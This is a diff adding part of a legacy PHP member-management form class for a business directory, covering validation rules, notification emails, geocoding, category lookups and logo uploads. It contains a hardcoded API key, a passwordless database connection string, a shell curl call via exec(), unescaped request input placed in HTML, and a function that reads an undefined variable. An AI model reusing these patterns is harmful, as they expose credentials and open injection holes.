+                               $sql = "
+                                       SELECT *
+                                         FROM category
+                                        WHERE category_id = :cid";
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($this->memberCategories as $cid => $v) {
+                                       $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                                       $stmt->execute();
+                                       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                                       if ($row['accommodations'] == 't') {
+                                               $this->accommodations = true;
+                                       }
+                                       if ($row['restaurant'] == 't') {
+                                               $this->restaurant = true;
+                                       }
+                                       if ($row['golf'] == 't') {
+                                               $this->golf = true;
+                                       }
+                               }
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureRules()
+       {
+               $mimeTypes = array(
+                       'image/jpe',
+                       'image/jpeg',
+                       'image/jpg',
+                       'image/jfif',
+                       'image/pjpeg',
+                       'image/pjp',
+                       'image/gif',
+                       'image/png',
+               );
+
+               $r = array();
+               
+               $r[] = array(
+                       'element'    => 'reservation_id',
+                       'message'    => 'ERROR: Must be an integer!',
+                       'type'       => 'numeric',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'process_email',
+                       'message'    => 'ERROR: Invalid email format!',
+                       'type'       => 'checkEmail',
+                       'format'     => array('use_rfc822' => true),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'member_contact_email',
+                       'message'    => 'ERROR: Invalid email format!',
+                       'type'       => 'checkEmail',
+                       'format'     => array('use_rfc822' => true),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'join_date',
+                       'message'    => 'ERROR: Invalid date!',
+                       'type'       => 'callback',
+                       'format'     => array(&$this, 'checkDate'),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'url',
+                       'message'    => 'ERROR: Invalid URL format',
+                       'type'       => 'checkURI',
+                       'format'     => array(
+                               'allowed_schemes' => array('http', 'https'),
+                               'strict' => true
+                       ),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'num_rooms',
+                       'message'    => 'ERROR: Must be an integer!',
+                       'type'       => 'numeric',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'member_name',
+                       'message'    => 'ERROR: There is an existing account with this name!',
+                       'type'       => 'callback',
+                       'format'     => array($this, 'checkMemberName'),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'member_login',
+                       'message'    => 'ERROR: Sorry, but this username has already been taken!',
+                       'type'       => 'callback',
+                       'format'     => array($this, 'checkUName'),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'state_id',
+                       'message'    => 'ERROR: Invalid State!',
+                       'type'       => 'numeric',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'mailing_state_id',
+                       'message'    => 'ERROR: Invalid State!',
+                       'type'       => 'numeric',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'region',
+                       'message'    => 'ERROR: Invalid Region!',
+                       'type'       => 'numeric',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'zip',
+                       'message'    => 'ERROR: Invalid Zip Code!',
+                       'type'       => 'zip',
+                       'format'     => array('requireDBCheck' => false),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'mailing_zip',
+                       'message'    => 'ERROR: Invalid Zip Code!',
+                       'type'       => 'zip',
+                       'format'     => array('requireDBCheck' => false),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'phone',
+                       'message'    => 'ERROR: Invalid Phone Number! (xxx) xxx-xxxx',
+                       'type'       => 'phone',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'fax',
+                       'message'    => 'ERROR: Invalid Phone Number! (xxx) xxx-xxxx',
+                       'type'       => 'phone',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'toll_free',
+                       'message'    => 'ERROR: Invalid Phone Number! (xxx) xxx-xxxx',
+                       'type'       => 'phone',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'new_logo_rmv',
+                       'message'    => 'ERROR: Incorrect File Type (.gif, .png, .jpg) only!',
+                       'type'       => 'mimetype',
+                       'format'     => $mimeTypes,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{     emailOwner()
+
+       /**
+        * Emails the owner and anyone else who wants to be advised of updates
+        *
+        * A false value in the primaryAdvisee will cause no email to be sent.
+        * all secondary advisees listed in the constructor are carbon copied
+        * in the email.
+        *
+        * Emails are sent out in both HTML and TXT forms.
+        *
+     * @return boolean result of email
+        * @access protected
+        */
+       protected function emailOwner()
+       {
+               if ($this->primaryAdvisee === false) {
+                       return;
+               } else {
+                       try {
+                               $sql = "
+                    SELECT member_name
+                      FROM member
+                     WHERE member_id = :member_id";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $memberName = $row['member_name'];
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+                       $template = new HTML_Template_Flexy($this->flexyOptions);
+                       $page = new stdClass();
+                       $page->member = $memberName;
+                       $page->url = ($_SERVER['HTTPS'] == 'on') ? BASE_SECURE_URL : BASE_URL;
+                       $page->email = OWNER_EMAIL;
+                       $page->siteName = SITENAME;
+                       $page->link = '<a target="_blank"  href="'.BASE_URL.'pending-member/'.$_GET['id'].'/">link</a>';
+
+                       $template->compile($this->emailTemplate);
+                       //      Merge the compiled template with the $page object.
+                       $htmlMsg = $template->bufferedOutputObject($page);
+
+                       $msg = "
+                               <h3>$memberName</h3>
+                               <p>
+                                       Has updated thier business record and is now in a pending
+                                       state. To approve / reject thier changes you can either log
+                                       into your {$page->siteName} admin area or follow this 
+                                       {$page->link}
+                               </p>";
+                       $crlf = "\n";
+                       $mimeMail = new Mail_mime($crlf);
+            $from = ereg_replace("[^A-Za-z ]", "", SITENAME) . ' <' . OWNER_EMAIL . '>';
+                       $mimeMail->setFrom($from);
+                       $mimeMail->setSubject('Member Record Update');
+                       if (!empty($this->secondaryAdvisees)) {
+                               foreach ($this->secondaryAdvisees as $k => $v) {
+                                       if (is_string($k) && !is_numeric($k)) {
+                                               $email = "$k <$v>";
+                                       } else {
+                                               $email = $v;
+                                       }
+                                       $mimeMail->addCC($email);
+                               }
+                       }
+                       $mimeMail->setHTMLBody($htmlMsg);
+                       $mimeMail->setTXTBody($msg);
+
+                       $mail =& Mail::factory('mail');
+                       $body = $mimeMail->get();
+                       $headers = $mimeMail->headers($hdrs);
+                       
+                       $res = $mail->send($this->primaryAdvisee, $headers, $body);
+                       if (PEAR::isError($res)) {
+                               return Toolkit_Common::handleError($res);
+                       } else {
+                               return $res;
+                       }
+               }
+       }
+
+       //      }}}
+
+       //      {{{ fieldPending()
+
+       /**
+        * Determines if template fields are pending or not
+        *
+        * Each field in the template calls this function to determine if it
+        * is in a pending state or not.  Fields that return true get a 
+        * different colored background and border so they are easily recognizable.
+        *
+        * fields are considered pending if they are in the pendingFields array.
+        *
+     * @param string $elem element to check for pending
+     *
+        * @return boolean If the field is pending      
+        * @access protected 
+        */
+       public function fieldPending($elem)
+    {
+               if (!is_array($this->pendingFields)) {
+                       return false;
+               } else {
+                       return in_array($elem->name, $this->pendingFields);
+               }
+       }
+
+       // }}}
+    //  {{{ filterURI()
+
+    /**
+     * Filters uri's before they are validated
+     *
+     * @param string $uri URI to filter
+     *
+     * @return mixed new uri if missing scheme
+     * @access 
+     */
+    protected function filterURI($uri)
+    {
+        if (strstr($uri, 'http://') != $uri) {
+            return "http://$uri";
+        } else {
+            return $uri;
+        }
+    }
+
+    //  }}}
+    //  {{{ filterPhone()
+
+    /**
+     * Filters phone numbers before they are validated
+     *
+     * @param string $phone number to filter
+     *
+     * @return mixed newly formatted phone number
+     * @access 
+     */
+    protected function filterPhone($phone)
+    {
+        //  Ditch anything that is not a number
+        $number = preg_replace('/[^0-9]/', '', $phone);
+
+        //  Invalid Number, validation will catch error
+        $len = strlen($number);
+        if (($len < 10) || ($len > 11)) {
+            return $phone;
+        }
+
+        //  subscriber number
+        $sn = substr($number, -4);
+        //  city code
+        $cc = substr($number, -7, 3);
+        //  area code
+        $ac = substr($number, -10, 3);
+        if ($len == 11) {
+            //  country prefix
+            $cp = $number[0];
+        }
+
+        $filteredNumber = "($ac) $cc-$sn";
+        if (!is_null($cp)) {
+            $filteredNumber = "$cp $filteredNumber";
+        }
+
+        return $filteredNumber;
+    }
+
+    //  }}}
+
+       //      {{{ generateLatLon()
+
+       /**
+        * Generates the listings lat and lon coordinates from either an address
+        * or their zip code. Depending on what gets entered into the form.
+        *
+        * If generating by zip code, we simply query the zip DB stored on ds3.
+        * Otherwise we query using google.
+        *
+        * @param mixed $data Array of data or zip
+        *
+        * @return Array Array of lat/lon coordinates
+        * @access protected 
+        */
+       protected function generateLatLon($data)
+       {
+               if (is_array($data)) {
+                       try {
+                               //      Since we don't store the city or state names we need to query
+                               //      for it really quick to get it.
+                               $sql = "
+                    SELECT state_name
+                      FROM state s
+                     WHERE state_id = :sid";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':sid', $data['state_id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+                       //      Use google maps to get the lan/lon coords from our data.
+                       $api_key = 'ABQIAAAAWqyv9sBAgUBdsdOdgo7LsRTeX7yNUukyMrmY8FsCXcCA9axlYBRmLDu7pJM7HIzM1e6MYO-pqjjp5w';
+                       $addr    = $values['street'];
+                       $city    = $values['city'];
+                       $state   = $row['state_name'];
+                       $zip     = $values['zip'];
+                       $url     = "http://maps.google.com/maps/geo?output=xml&key=$api_key&q=";
+                       $q       = "$addr, $city, $state, $zip";
+                       $url    .= urlencode($q);
+                       // Query Google for this location's longitude and latitude
+                       $command = "/usr/bin/curl '$url'";
+                       exec($command, $output, $return);
+                       if (preg_match_all("/<coordinates>(-?[0-9]{1,2}\.[0-9]{6})\,(-?[0-9]{1,2}\.[0-9]{6})\,0<\/coordinates>/", $output[0], $temp)) {
+                               if (isset($temp[1][1])) {
+                                       $lon = $temp[1][1];
+                                       $lat = $temp[2][1];
+                               } elseif (isset($temp[1][0])) {
+                                       $lon = $temp[1][0];
+                                       $lat = $temp[2][0];
+                               } else {
+                                       $lat = 'NULL';
+                                       $lon = 'NULL';
+                               }
+                       }
+                       $lat_lon['lat'] = $lat;
+                       $lat_lon['lon'] = $lon;
+                       return $lat_lon;
+               } else {
+                       //      We have a zip, just lookup in the db.
+                       try {
+                $dsn = 'pgsql:host=ds3.gaslightmedia.com user=postgres dbname=zip';
+                $driverOptions = array(
+                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
+                );
+                $zipPDO = new PDO($dsn, null, null, $driverOptions);
+                $zipPDO->setAttribute(
+                    PDO::ATTR_ERRMODE,
+                    PDO::ERRMODE_EXCEPTION
+                );
+
+                               $sql = "
+                                       SELECT lat, lon
+                                         FROM zip
+                                        WHERE zipcode = :zip";
+                               $stmt = $zipPDO->prepare($sql);
+                               $stmt->bindParam(':zip', $data);
+                               $stmt->execute();
+                               $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $return['lat'] = (float) $row['lat'];
+                               $return['lon'] = (float) $row['lon'];
+                               return $return;
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ getCategories()
+
+       /**
+        * Creates array structure of the category tree for use in a select element.
+        *
+        * This method will also instantiate a class property called tree for your
+        * class. This object will hold the tree structure of the categories list
+        * from the Database.
+        *
+        * @return      array           The array list of categories that can be loaded
+        *                                              into a select element
+        *
+        * @access      protected
+        * @see         Toolkit_Members_CategoryTree
+        */
+       protected function getCategories()
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM category
+                                WHERE parent_id = 0
+                                ORDER BY name";
+                       foreach ($this->dbh->query($sql, PDO::FETCH_ASSOC) as $row) {
+                               $this->tree[] = new Toolkit_Members_CategoryTree($row['category_id'],
+                                                                 $row['name'],
+                                                                 $this->dbh);
+                       }
+                       if (!empty($this->tree)) {
+                               foreach ($this->tree as $t) {
+                                       $this->createCategories($t);
+                               }
+                       }
+
+                       if (empty($this->categories)) {
+                               $this->categories = array('' => '-- No Categories Created Yet --');
+                       } else {
+                               $this->categories
+                    = array('' => '-- Select Category --') + $this->categories;
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ getRegions()
+
+       /**
+        * Configure the regions for member stored in the database into an array
+        *
+     * @return array the regions
+        * @access protected
+        */
+       protected function getRegions()
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM region
+                                ORDER BY region_name";
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $regions[$row['region_id']] = $row['region_name'];
+                       }
+                       if (!empty($regions)) {
+                               $regions = array('' => '-- Choose Region --') + $regions;
+                       } else {
+                               $regions = array('' => '-- No Regions Created Yet -- ');
+                       }
+                       return $regions;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ getCities()
+
+       /**
+        * Configure the cities for member stored in the database into an array
+        *
+     * @return array the cities
+        * @access protected
+        */
+       protected function getCities()
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM city
+                                ORDER BY city_name";
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $regions[$row['city_id']] = $row['city_name'];
+                       }
+                       if (!empty($regions)) {
+                               $regions = array('' => '-- Choose City --') + $regions;
+                       } else {
+                               $regions = array('' => '-- No Cities Created Yet -- ');
+                       }
+                       return $regions;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ hasLogo()
+
+    /**
+     * Determine if the member record has a logo
+     * 
+     * @return boolean if the record has a logo or not
+     * @access protected
+     */
+       protected function hasLogo()
+       {
+               try {
+                       $member_id = $_GET['id'];
+
+                       $sql = "
+                SELECT logo
+                  FROM {$this->tableName}
+                 WHERE member_id = :member_id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $member_id, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+
+            if (get_class($this) === 'Toolkit_Members_EditMemberOnlyInfo') {
+                $sql = "
+                    SELECT count(*) AS total
+                      FROM {$this->pendingTable}
+                     WHERE member_id = :member_id
+                       AND field     = 'logo'";
+
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(':member_id', $member_id, PDO::PARAM_INT);
+                $stmt->execute();
+                $pendingLogos = $stmt->fetch(PDO::FETCH_ASSOC);
+            }
+
+                       $hasPending = !empty($pendingLogos['total']);
+                       $hasLogo    = !is_null($row['logo']);
+
+                       return ($hasLogo || $hasPending);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ inColumn2()
+
+       /**
+        * Lets the form know when to add a new column
+        *
+        * When rendering the form, we need to know what element
+        * to start rendering the new columns on, this function
+        * checks to see if we should start on the current
+        * element or not.
+        *
+        * This function is called from within the template.
+        *
+     * @param string $section element to check
+     *
+     * @return boolean if the section is in the 2nd column or not
+        * @access protected
+        */
+       public function inColumn2($section)
+       {
+               return ($this->formHeaders[$section]['col2']);
+       }
+
+       //      }}}
+       //      {{{ insertData()
+
+       /**
+        * Create a new record in the database from the data on the form
+        *
+        * When a member is first created, we don't have to worry about 
+        * and module data ie.(golf, restaurant, accommodations), since
+        * they initially don't have any categories associated with them.
+        * 
+        * Lat / Lon coordinates are not generated here, but they are 
+        * injected into the form values if they are not filled in. This
+        * enables us to use google driving directions on all our members.
+        *
+        * Two groups of data are pulled from the values array of data.
+        * (categories & credit cards), these values are then unset in
+        * the values array, b/c we don't insert this data into the primary
+        * table.  They each have their own table they get inserted into and
+        * are then associated to the newly inserted member.
+        *
+        * Empty field values are inserted as NULLS vs empty strings to allow
+        * for unique member_login names.
+        *
+        * A transaction is used to avoid orphaned data if any of the sql queries
+        * fail to properly insert the data.
+        *
+        * @param array $values Form values
+     *
+        * @return boolean False on error, True otherwise.
+        * @access public
+        */
+       public function insertData($values)
+       {
+               //      {{{ Golfing
+
+               //      Remove Golf Fields for Special Insert.
+               $fields = array(
+                       'par',
+                       'yardage',
+                       'course_rating', 
+                       'slope_rating',
+                       'walking_course',
+                       'holes18',
+                       'holes9',
+               );
+
+               foreach ($fields as $v) {
+                       $golfFields[$v] = $values[$v];
+                       unset($values[$v]);
+               }
+
+               //      }}}
+               //      {{{ Accommodations
+
+               //      Remove Accommodation Fields for Special Insert.
+               $fields = array(
+                       'reservation_id',
+                       'num_rooms',
+                       'year_round',
+               );
+               foreach ($fields as $v) {
+                       $accommodationFields[$v] = $values[$v];
+                       unset($values[$v]);
+               }
+
+               //      }}}
+               //      {{{ Restaurant
+
+               //      Remove Restaurant Fields for Special Insert.
+               $fields = array(
+                       'breakfast',
+                       'breakfast_from',
+                       'breakfast_to',
+                       'brunch',
+                       'brunch_from',
+                       'brunch_to',
+                       'lunch',
+                       'lunch_from',
+                       'lunch_to',
+                       'dinner',
+                       'dinner_from',
+                       'dinner_to',
+                       'alcohol',
+                       'non_smoking',
+               );
+               foreach ($fields as $v) {
+                       $restaurantFields[$v] = $values[$v];
+                       unset($values[$v]);
+               }
+
+               //      }}}
+
+               $ccards = $values['creditCards'];
+               $pattern = '/^-?(.+)$/i';
+               $replacement = '$1';
+               //      Adjust the lat/lon coordinates to negative #'s if needed
+               //      The only way this will be needed is if the lat/lon boxes
+               //      were filled in instead of letting this class determine
+               //      them via street address or zip code.
+               $coords = array('lat' => 'South', 'lon' => 'East');
+               foreach ($coords as $k => $v) {
+                       if ($values["{$k}Direction"] == $v && !empty($values[$k])) {
+                               $string = $values[$k];
+                               $values[$k] = preg_replace($pattern, $replacement, $string);
+                               $values[$k] = "-{$values[$k]}";
+                       }
+               }
+               //      If they dynamically add any categories, but then realize they
+               //      want to remove them, they will show up in this array.
+               if (isset($values['removeCat'])) {
+                       //      So remove them before we get the categories to insert for the member.
+                       $this->removeCategories($values['removeCat'], &$values['member_cats']);
+               }
+               //      Now get the cats so we can insert them into a seperate table later.
+               $categories = $values['member_cats'];
+
+               //      Unneeded data that will not be stored in the member table
+               unset($values['lonDirection'],
+                       $values['latDirection'],
+                       $values['member_cats'],
+                       $values['removeCat'],
+                       $values['creditCards']
+               );
+
+               try {
+                       $params = implode(', ', array_keys($values));
+                       $bindParams = ':' . implode(', :', array_keys($values));
+                       $sql = "
+                               INSERT INTO {$this->tableName} ($params)
+                               VALUES ($bindParams)
+                    RETURNING member_id";
+                       $this->dbh->beginTransaction();
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($values as $k => &$v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } elseif ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               //      for empty values that are not actually a zero (0), we
+                               //      want to insert null's.
+                               //      This will help hold the unique values for member_logins,
+                               //      as empty values '', are not considered unique
+                               if (empty($v) && $v !== 0) {
+                                       $v = null;
+                                       $dataType = PDO::PARAM_NULL;
+                               }
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       }
+                       $stmt->execute();
+                       $stmt->bindColumn('member_id', $mid);
+                       $stmt->fetch();
+
+                       //      Insert the categories into the DB and associate
+                       //      them w/ the newly inserted member.
+                       if (!empty($categories)) {
+                               $sql = "
+                                       INSERT INTO member_category(member_id, category_id)
+                                   VALUES(:member_id, :cid)";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $mid, PDO::PARAM_INT);
+                               foreach ($categories as $cid) {
+                                       //      If the user didn't select a category,
+                                       //      Then don't run an insert query.
+                                       if (!empty($cid)) {
+                                               $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                                               $stmt->execute();
+                                       }
+                               }
+                       }
+
+                       //      Insert the members credit cards into the DB and associate
+                       //      the w/ our new member. We get the ccard ID # by querying for
+                       //      it in the ccard_type table by the ccard name.
+                       if (!empty($ccards)) {
+                               $sql = "
+                                       INSERT INTO member_ccard_type(member_id, ccard_type_id)
+                                               SELECT :member_id, ccard_type_id
+                                                 FROM ccard_type
+                                                WHERE ccard_type_name = :cctn";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $mid, PDO::PARAM_INT);
+                               foreach ($ccards as $k => $v) {
+                                       $stmt->bindParam(':cctn', $k, PDO::PARAM_STR);
+                                       $stmt->execute();
+                               }
+                       }
+
+                       $golf = $restaurant = $accommodations = false;
+                       if (!empty($categories)) {
+                               $sql = "
+                                       SELECT *
+                                         FROM category
+                                        WHERE category_id = :cid";
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($categories as &$cid) {
+                                       if (!empty($cid)) {
+                                               $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                                               $stmt->execute();
+                                               $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                                               //      If any of the module statuses are true, set them.
+                                               //      otherwise leave them as they were, (we don't want
+                                               //      to set a true back to a false).
+                                               $golf = ($row['golf'] == 't') ? true : $golf;
+                                               $accommodations = ($row['accommodations'] == 't') ?
+                                                       true : $accommodations;
+                                               $restaurant = ($row['restaurant'] == 't') ?
+                                                       true : $restaurant;
+                                       }
+                               }
+                       }
+                       $this->clearModule('member_golf');
+                       if ($golf) {
+                               $this->updateModuleFields($golfFields, 'member_golf', $mid);
+                       }
+                       $this->clearModule('member_accommodations');
+                       if ($accommodations) {
+                               $this->updateModuleFields($accommodationFields, 'member_accommodations', $mid);
+                       }
+                       $this->clearModule('member_restaurants');
+                       if ($restaurant) {
+                               $this->updateModuleFields($restaurantFields, 'member_restaurants', $mid);
+                       }
+                       $this->dbh->commit();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+        header('Location: ' . BASE_URL . "admin/members.php?cat=2&subCat=2&tab=1&id=$mid");
+               return true;
+       }
+
+       //      }}}
+
+       //      {{{ newColumn()
+
+       /**
+        * Determines if we've reached the field that should start a new column
+        *
+        * This is used from the Flexy template.  Each field name is passed into
+        * this function, when we reach the appropriate field, we will know that
+        * we need to start a new column.
+        *
+        * @param string $string The name of the field we're checking.
+     *
+        * @return boolean True on the right field, otherwise false.
+        * @access protected
+        */
+       public function newColumn($string)
+       {
+               return ($string == 'Account Info');
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+       /**
+        * Handles processing the submitted forms data.
+        *
+        * Sets up the table meta data so we can insert into the member table.
+        * removes any unwanted fields from the values array.  these fields
+        * will be denoted by the '_rmv' at the end of thier name in the
+        * configureElements function
+        *
+        * <example>
+        * ... 'name' => 'remove_rmv', ...
+        * </example>
+        *
+        * This function also verifies that the lat/lon values were properly filled
+        * out, if they were left blank then the values will either be looked up 
+        * via google maps or through our own zip DB. These values will then be
+        * inserted into the values array AND also injected into the form field
+        * values so they will display when the form comes back around.
+        *
+        * The form then decides if it is handeling a new member or not and calls
+        * the appropriate function to insert or update data.
+        *
+        * @param array $values The array of all submitted form values.
+        *
+        * @return boolean Whether the insert/update succeeded.
+        * @access public
+        */
+       public function processData($values)
+       {
+               //      Clean up some form elements before we try any processing
+               if (is_array($values['join_date'])) {
+                       if (is_numeric($values['join_date']['m'])) {
+                               $values['join_date'] = implode('-', $values['join_date']);
+                       } else {
+                               $values['join_date'] = null;
+                       }
+               }
+               $this->processLogo(&$values);
+               Toolkit_Common::getTableMetaData();
+
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       case 'MAX_FILE_SIZE' : 
+                               unset($values[$k]);
+                               break;
+
+                       default :
+                               if (preg_match('/^.+_rmv$/', $k)) {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+               //$this->verifyLatLon(&$values);
+
+               $existingMember = (is_numeric($_GET['id']));
+               if ($existingMember) {
+                       return $this->updateData($values);
+               } else {
+                       return $this->insertData($values);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     processLogo()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+       protected function processLogo($values)
+       {
+               //      Keep a tidy house.
+               //      There are 2 scenarios to deal w/ logos:
+               //      1.  Removing logo:
+               //              Delete the image from the image server
+               //              and set the values['logo'] to null.
+               //      2.  New logo:
+               //              Check to see if old_logo_rmv holds a value,
+               //              if it does then remove that logo
+               //              Upload the image and put new filename
+               //              into values['logo'] variable.
+               $imgServer  = new Toolkit_Image_Server();
+
+               if ($values['remove_logo_rmv'] == 1) {
+                       $imgServer->imageDelete($values['old_logo_rmv']);
+                       $values['logo'] = null;
+
+                       if (get_class($this) == 'Toolkit_Members_EditMemberOnlyInfo') {
+                               try {
+                                       //      Make sure any logos that were pending are removed as well.
+                                       $sql = "
+                                               DELETE FROM {$this->pendingTable}
+                                                WHERE field        = 'logo'
+                                                  AND member_id    = :member_id";
+                                       $stmt = $this->dbh->prepare($sql);
+                                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                                       $stmt->execute();
+
+                                       $sql = "
+                                               UPDATE {$this->tableName}
+                                                  SET logo = :logo
+                                                WHERE member_id = :member_id";
+                                       $stmt = $this->dbh->prepare($sql);
+                                       $stmt->bindParam(':logo', $values['logo'], PDO::PARAM_NULL);
+                                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                                       $stmt->execute();
+                               } catch (PDOException $e) {
+                                       return Toolkit_Common::handleError($e);
+                               }
+                       }
+               }
+
+               //      If a new logo is uploaded, have the image server
+               //      process that logo and give us back the file name on
+               //      the server.
+               if ($values['new_logo_rmv']['size'] > 0) {
+                       $imgName = $imgServer->imageUpload('new_logo_rmv');
+                       $values['logo'] = $imgName;
+                       $img = '<img alt="'. $imgName . '" src="'.MEMBER_PHOTOS . $imgName.'">';
+
+                       //      If the old_logo_rmv key is set and not empty
+                       //      then we are replacing an existing logo and did not
+                       //      check the remove logo checkbox.
+                       //      remove this old logo just for good house keeping.
+                       if (isset($values['old_logo_rmv']) && !empty($values['old_logo_rmv'])) {
+                               $imgServer->imageDelete($values['old_logo_rmv']);
+                               //      update the elements on the form if we are replacing an existing logo.
+                               if ($this->elementExists('old_logo_rmv')) {
+                                       $e =& $this->getElement('old_logo_rmv');
+                                       $e->setValue($imgName);
+                               }
+                               if ($this->elementExists('image_rmv')) {
+                                       $e =& $this->getElement('image_rmv');
+                                       $e->setValue($img);
+                               }
+                       } else {
+                               $source =& $this->createElement(
+                    'checkbox',
+                    'remove_logo_rmv',
+                    'Remove Logo'
+                );
+                               $this->insertElementBefore($source, 'new_logo_rmv');
+
+                               $source =& $this->addElement('hidden', 'old_logo_rmv');
+                               $source->setValue($imgName);
+
+                               $source =& $this->createElement(
+                    'static',
+                    'image_rmv',
+                    'Current Logo'
+                );
+                               $source->setValue($img);
+                               $element = $this->insertElementBefore($source, 'new_logo_rmv');
+
+                               if (PEAR::isError($element)) {
+                                       die ('there was an error uploading your file!');
+                               } else {
+                                       //  I don't know why, but the insertElementBefore
+                                       //  function was erasing the value we set earlier.
+                                       //  so just reset it to make double sure its there.
+                                       $element->setValue($img);
+                               }
+                       }
+               }
+
+               //      We clicked to remove the logo and did not upload a new one.
+               if ($values['remove_logo_rmv'] == 1 && $values['new_logo_rmv']['size'] == 0) {
+                       if ($this->elementExists('remove_logo_rmv')) {
+                               $this->removeElement('remove_logo_rmv', false);
+                       }
+                       if ($this->elementExists('image_rmv')) {
+                               $this->removeElement('image_rmv', false);
+                       }
+                       if ($this->elementExists('old_logo_rmv')) {
+                               $this->removeElement('old_logo_rmv', false);
+                       }
+               }
+       }
+
+       //      }}}
+
+       //      {{{ removeCategories()
+
+       /**
+        * Remove categories from the values['member_cats'] array
+        *
+        * Any values in the removeCats array are removed from the
+        * values['member_cats'] array which is passed in by reference
+        * so we don't have to return any values.
+        *
